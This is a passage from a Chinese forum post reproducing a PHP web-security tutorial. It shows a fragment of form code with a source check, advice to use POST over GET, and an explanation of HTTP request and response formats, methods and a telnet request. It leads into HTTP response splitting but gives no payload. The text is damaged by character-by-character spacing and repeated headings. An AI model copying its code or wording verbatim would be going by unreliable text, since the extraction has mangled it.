< s c r i p t   l a n g u a g e = ' j a v a s c r i p t ' > " ;                                       e c h o   " a l e r t ( ‘ 数 据 来 源 异 常 ! ' ) ; " ;                                     e c h o   "   l o c a t i o n = ' i n d e x . p h p ' ; " ;                                                       e c h o   " < / s c r i p t > " ;                   } } … …         < i n p u t   t y p e = " r e s e t "   n a m e = " S u b m i t 2 "   v a l u e = " 重     置 " > < i n p u t   t y p e = " h i d d e n "   n a m e = " p o s t _ i d "   v a l u e = " < ? p h p   e c h o   $ _ S E S S I O N [ " p o s t _ i d " ] ; ? > " > < / t d > < / t r >     < / t a b l e > < / f o r m > < ? p h p   }   m y s q l _ c l o s e ( $ c o n n ) ; ? > < / b o d y > < / h t m l > 使 用 P O S T ， 不 要 使 用 G E T 传 递 表 单 字 段 时 ， 一 定 要 是 用 P O S T ， 不 要 使 用 G E T ， 处 理 变 量 也 不 要 直 接 使 用 $ _ R E Q U E S T   h t t p 响 应 拆 分 响 应 拆 分   H T T P 请 求 的 格 式 请 求 的 格 式 1 ） 请 求 信 息 ： 例 如 “ G e t   / i n d e x . p h p   H T T P / 1 . 1 ” ， 请 求 i n d e x . p h p 文 件 2 ） 表 头 ： 例 如 “ H o s t :   l o c a l h o s t ” ， 表 示 服 务 器 地 址 3 ） 空 白 行 4 ） 信 息 正 文
“ 请 求 信 息 ” 和 “ 表 头 ” 都 必 须 使 用 换 行 字 符 （ C R L F ） 来 结 尾 ， 空 白 行 只 能 包 含 换 行 符 ， 不 可 以 有 其 他 空 格 符 。 下 面 例 子 发 送 H T T P 请 求 给 服 务 器 w w w . y h s a f e . c o m G E T   / i n d e x . p h p   H T T P / 1 . 1 ↙                 / / 请 求 信 息       H o s t : w w w . y h s a f e . c o m ↙             / / 表 头 ↙                                                                                                           / / 空 格 行 ↙         ↙ 符 号 表 示 回 车 键 ， 在 空 白 行 之 后 还 要 在 按 一 个 空 格 才 会 发 送 H T T P 请 求 ， H T T P 请 求 的 表 头 中 只 有 H o s t 表 头 是 必 要 的 ， 其 余 的 H T T P 表 头 则 是 根 据 H T T P 请 求 的 内 容 而 定 。   H T T P 请 求 的 方 法 请 求 的 方 法 1 ） G E T ： 请 求 响 应 2 ） H E A D ： 与 G E T 相 同 的 响 应 ， 只 要 求 响 应 表 头 3 ） P O S T ： 发 送 数 据 给 服 务 器 处 理 ， 数 据 包 含 在 H T T P 信 息 正 文 中 4 ） P U T ： 上 传 文 件 5 ） D E L E T E ： 删 除 文 件 6 ） T R A C E ： 追 踪 收 到 的 请 求 7 ） O P T I O N S ： 返 回 服 务 器 所 支 持 的 H T T P 请 求 的 方 法 8 ） C O N N E C T ： 将 H T T P 请 求 的 连 接 转 换 成 透 明 的 T C P / I P 通 道   H T T P 响 应 的 格 式 响 应 的 格 式 服 务 器 在 处 理 完 客 户 端 所 提 出 的 H T T P 请 求 后 ， 会 发 送 下 列 响 应 。 1 ） 第 一 行 是 状 态 码 2 ） 第 二 行 开 始 是 其 他 信 息 状 态 码 包 含 一 个 标 识 状 态 的 数 字 和 一 个 描 述 状 态 的 单 词 。 例 如 ： H T T P / 1 . 1   2 0 0   O K 2 0 0 是 标 识 状 态 的 是 数 字 ， O K 则 是 描 述 状 态 的 单 词 ， 这 个 状 态 码 标 识 请 求 成 功 。 H T T P 请 求 和 响 应 的 例 子 请 求 和 响 应 的 例 子 打 开 c m d 输 入 t e l n e t ， 输 入 o p e n   w w w . 0 0 a q . c o m   8 0 打 开 连 接 后 输 入 G E T   / i n d e x . p h p   H T T P / 1 . 1 ↙             H o s t : w w w . 0 0 a q . c o m ↙           ↙                                                                                               ↙ 返 回 H T T P 响 应 的 表 头 返 回 的 首 页 内 容 使 用 使 用 P H P 来 发 送 来 发 送 H T T P 请 求 请 求 h e a d e r 函 数 可 以 用 来 发 送 H T T P 请 求 和 响 应 的 表 头 函 数 原 型
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理